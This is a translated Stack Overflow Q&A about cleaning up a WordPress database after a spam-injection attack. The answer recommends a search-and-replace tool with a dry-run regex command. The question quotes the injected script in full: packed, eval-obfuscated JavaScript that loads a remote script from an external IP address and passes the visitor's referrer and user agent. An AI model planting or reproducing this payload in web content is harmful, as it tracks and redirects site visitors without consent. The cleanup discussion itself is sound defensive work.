database - 使用特殊字符的复杂查询

标签 database wordpress

我有一个我正在使用的网站,最近被垃圾邮件注入(inject)攻击。现在一切都已安全,但我的任务是清理放在每个页面上的脚本的剩余部分。我面临的问题是,在整个黑客攻击过程中使用了特殊字符,转义特殊字符被证明是非常具有挑战性的。

我也在使用查询构建器,但即便如此我也感到困惑。

我要删除的代码是这样的:

<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))

如您所见,一旦我开始转义字符,我就开始迷路了。我想知道是否有人遇到过这个问题并找到了更简单的方法。

我已经成功地直接在数据库中手动删除了代码,但不幸的是,大约有 1006 个位置,这需要很长时间。

最佳答案

不幸的是,使用直接 SQL 查询修改 Wordpress 数据库可能会破坏 PHP 序列化的字符串和对象。因此,即使您想出了完美的搜索词,也不要那样做。

相反,您可以试试这个很棒的 Search Replace DB工具。确保您遵循他们关于谨慎使用脚本的所有请求,尤其是:先备份,使用非常隐蔽的目录名称,并在完成后立即删除文件夹。还要确保您正在运行 php-mbstring。

Web 界面非常好,但根据服务器设置,它可能无法工作。不过,还有一个命令行界面。要使用它,请cd 进入包含该工具的文件夹。 README.md 文件中有 CLI 版本的文档。这是解决您的情况的命令的基本形式,您需要对其进行测试和调整以匹配您的数据库设置:

php srdb.cli.php --host localhost.or.dbserver --name dbnamehere --user dbuserhere --pass 'dbpasswordhere' --search '/\<noindex\>\<script id\=\"wpinfo\-pst1\".*?<\\/noindex>/s' --replace '' --regex --dry-run

我喜欢这个工具的 --dry-run 功能,它在上面的代码中设置。在你完成大量试运行并确信你正在做你打算做的事情之后,从命令行中删除该选项(或者如果你在网络界面中取消选中“试运行”框)并且替换将实际发生。然后,记住,将工具取下,以免其他人使用它。

关于database - 使用特殊字符的复杂查询,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48234983/

相关文章:

c# - 尝试附加一个自动命名的数据库错误

php - wordpress-独特场景-通过URL获取附件ID

php - WordPress 通用页眉页脚覆盖网站导航和页脚

xml - 在 Wordpress 中使用 XSLT 解析 XML

PHP 获取最大值。来自 MySql 的 1000 个条目

php - 当 SQL 字符串为 '%f"时,Wordpress wpdb->get Results 不会执行我的 sql

sql - Presto DB 支持多少用户?

database - 谷歌应用引擎 : Model integrity constraints?

mysql - 动态第二数据库Ruby

database - Redis DB,是否可以为某些数据库启用快照而不为其他数据库启用快照?